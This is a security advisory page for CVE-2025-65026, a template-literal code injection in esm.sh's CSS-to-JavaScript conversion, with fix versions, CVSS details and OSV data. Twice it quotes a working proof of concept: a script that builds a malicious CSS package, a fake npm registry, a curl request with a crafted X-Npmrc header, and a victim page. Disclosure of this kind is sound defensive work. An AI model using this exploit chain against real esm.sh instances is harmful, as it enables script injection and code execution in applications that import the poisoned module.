CVE-2025-65026: Github.com/esm dev/esm.sh Esm.sh CDN Service Has JS Vulnerability

MODERATE
Advisory Identifier: GHSA-hcpf-qv9m-vfgp
CVSS 6.1
CWE-94
Published
Advisory Summary

CVE-2025-65026 is a MODERATE (CVSS 6.1) esm.sh cdn service has js vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh cdn service has js template literal injection in css-to-javascript. Remediation is available by upgrading affected packages to version 0.0.0-20251118065157-87d2f6497574.

CVE-2025-65026 at a Glance

CVE Identifier CVE-2025-65026
GHSA Identifier GHSA-hcpf-qv9m-vfgp
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/esm dev/esm.sh
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-65026

To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/esm-dev/esm.sh fixed: 0.0.0-20251118065157-87d2f6497574
Upgrade github.com/esm-dev/esm.sh to 0.0.0-20251118065157-87d2f6497574
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/esm-dev/esm.sh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-65026, inspect your project dependencies for Github.com/esm dev/esm.sh:

inspect dependencies for github.com/esm-dev/esm.sh

Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20251118065157-87d2f6497574), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. **Root Cause:** The CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string. ### Details **File:** `server/router.go` **Lines:** 1112-1119 ```go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/* esm.sh - css module */\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '`') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(`") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(`") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString("`);\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } ``` When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. Template literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code. ### PoC ### Step 1. Create Malicious Package (tar) ```python import tarfile import io import json from datetime import datetime # Malicious CSS with template literal injection evil_css = b""" body { background-color: #ffffff; color: #333333; } .container { max-width: 1200px; margin: 0 auto; } /* js payload */ ${alert(1)} /* More CSS to appear legitimate */ .footer { margin-top: 20px; padding: 10px; } """ files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evil_css, } with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content)) print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz") ``` ### Step 2. Run Fake Registry Server ```python # fake-npm-registry.py from flask import Flask, jsonify, send_file app = Flask(__name__) MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER @app.route('/<package>') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} }) @app.route('/<package>/-/<filename>') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip') if __name__ == '__main__': app.run(host='0.0.0.0', port=9999) ``` ```bash python3 fake-npm-registry.py ``` > Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.) ### Step 3. Request Malicious Package with X-Npmrc Header (File Upload) ```bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}' ``` ### Step 4. Check Cross-site Script (alert(1)) ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> ``` <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" /> ### in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" /> ### Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

CVE-2025-65026 Affected Github.com/esm dev/esm.sh Versions

1 component(s)
Fixed Versions:
0.0.0-20251118065157-87d2f6497574
Product / Package Ecosystem Affected Versions Fixed Version
github.com/esm-dev/esm.sh
Go
< 0.0.0-20251118065157-87d2f6497574
0.0.0-20251118065157-87d2f6497574

References

Frequently Asked Questions

What is CVE-2025-65026?
CVE-2025-65026 is a security vulnerability in Github.com/esm dev/esm.sh involving esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/esm dev/esm.sh versions are affected?
Affected versions include releases prior to 0.0.0-20251118065157-87d2f6497574 across affected packages: github.com/esm-dev/esm.sh.
What version fixes CVE-2025-65026?
Upgrading to 0.0.0-20251118065157-87d2f6497574 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/esm-dev/esm.sh affected?
Yes, github.com/esm-dev/esm.sh is affected in releases prior to 0.0.0-20251118065157-87d2f6497574. Upgrade your dependency to 0.0.0-20251118065157-87d2f6497574 or later.
What is the CVSS score of CVE-2025-65026?
CVE-2025-65026 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2025-65026?
CVE-2025-65026 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2025-65026?
Run the dependency tree command: 'inspect dependencies for github.com/esm-dev/esm.sh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hcpf-qv9m-vfgp",
  "modified" : "2025-11-27T08:30:39Z",
  "published" : "2025-11-19T20:31:55Z",
  "aliases" : [ "CVE-2025-65026" ],
  "summary" : "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript",
  "details" : "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile && strings.HasSuffix(esm.SubPath, \".css\") && query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, '`') {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // ← CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: '1.0.0' };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/<package>')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/<package>/-/<filename>')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n> Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>CSS Injection Victim Page</title>\n</head>\n<body>\n    <script type=\"module\">\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log('Styles loaded:', styles);\n    </script>\n</body>\n</html>\n```\n<img width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" />\n\n### in esm.sh Playground\n<img width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" />\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20251118065157-87d2f6497574"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-19T20:31:55Z",
    "nvd_published_at" : "2025-11-19T18:15:50Z"
  }
}